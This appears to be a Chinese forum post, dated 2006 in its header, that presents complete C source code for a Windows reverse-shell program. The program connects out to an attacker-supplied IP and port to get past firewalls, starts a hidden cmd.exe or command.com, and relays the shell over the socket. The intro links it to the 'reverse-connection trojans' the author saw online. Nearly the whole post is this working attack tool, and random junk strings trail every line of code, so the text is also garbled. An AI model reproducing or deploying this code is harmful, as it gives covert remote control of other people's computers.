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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ="H%6S4'  
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/* ============================== J;e2&gB  
Rebound port in Windows NT 0+ '&`Q!u  
By wind,2006/7 5tk AFb4P  
===============================*/ Zi i   
#include 7]bGc \  
#include b|DdG/O  
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#pragma comment(lib,"wsock32.lib") w9imKVry  
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void OutputShell(); ^ @5QP$.  
SOCKET sClient; ;'K5J9k  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w& #]-|$  
&z3o7rif$  
void main(int argc,char **argv) @.l@\4m  
{ T -2t.Xs  
WSADATA stWsaData; aXYY:;  
int nRet; 6 gE7e|+  
SOCKADDR_IN stSaiClient,stSaiServer; xCTML!H  
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if(argc != 3) P@B]  
{ reWot&;  
printf("Useage:\n\rRebound DestIP DestPort\n"); 59A}}.@?m  
return; )akoa,#%6c  
} LL!Dx%JZ  
8<.Oq4ku  
WSAStartup(MAKEWORD(2,2),&stWsaData); Il 'fL'3  
t*u:hex  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +6\Zj)  
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stSaiClient.sin_family = AF_INET; 4VSU8tK|N]  
stSaiClient.sin_port = htons(0); Sm|6 %3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VA5xp]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >GRxHK@G  
{ RrB&\9=  
printf("Bind Socket Failed!\n"); +\9NDfYIA  
return; 0e4{{zQx  
} }Y\%RA  
EQM {  
stSaiServer.sin_family = AF_INET; T8g$uFo  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); i.m^/0!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5;EvNu  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =,M5KDk`  
{ *] X'( /b_  
printf("Connect Error!"); lo+A%\1  
return; :F?C)F  
} %h@EP[\  
OutputShell(); vs4>T^8e  
} '=pU^Oz<}  
y)@wjH{6  
void OutputShell() K0>zxqY  
{ o+'6`g'8  
char szBuff[1024]; 0l6.<-f{  
SECURITY_ATTRIBUTES stSecurityAttributes; bH~dJFj/  
OSVERSIONINFO stOsversionInfo; &u !,Hp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 02^rV*re  
STARTUPINFO stStartupInfo; mzgfFNm^G)  
char *szShell; Zy/_ E@C}u  
PROCESS_INFORMATION stProcessInformation; ;=z:F<Y  
unsigned long lBytesRead; @ 6vIap|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fJg+Ryo  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9'B `]/L  
stSecurityAttributes.lpSecurityDescriptor = 0; |BXg/gW  
stSecurityAttributes.bInheritHandle = TRUE; Zh~'9 JH  
yWSGi#)1  
h376Be{P  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <hyKu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /{I$#:M  
2,b$7xaf  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !nnC3y{G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; > (<f 0  
stStartupInfo.wShowWindow = SW_HIDE; $& c*'3  
stStartupInfo.hStdInput = hReadPipe; h*\%vr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @0''k  
SXh-A1t  
GetVersionEx(&stOsversionInfo); '&b+R`g'  
(bS&D/N.  
switch(stOsversionInfo.dwPlatformId) ;uGv:$([g  
{ :3 mh@[V  
case 1: flx(HJK  
szShell = "command.com"; @6.vKCSE  
break; ]SEZaT  
default: sI2^Qp@O1  
szShell = "cmd.exe"; $??I/6  
break; R=?[Nz  
} HzsdHH(J  
.%-8 t{dt  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c+ie8Q!  
ueNS='+m  
send(sClient,szMsg,77,0); *un^u-;  
while(1) u3 D)M%e  
{ #'}*dy/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :`sUt1Fw.  
if(lBytesRead) \;Weizq5  
{ x+]"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6A ah9   
send(sClient,szBuff,lBytesRead,0); |.dRily+  
} |w=zOC;v  
else ['D]>Ot68  
{ U<XG{<2  
lBytesRead=recv(sClient,szBuff,1024,0); "dlV k~  
if(lBytesRead<=0) break; x{n=;JD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Rf'P}"]  
} LzL So"n  
} E{(;@PzE  
xIn:ZKJ'  
return; i.#:zU%o  
}
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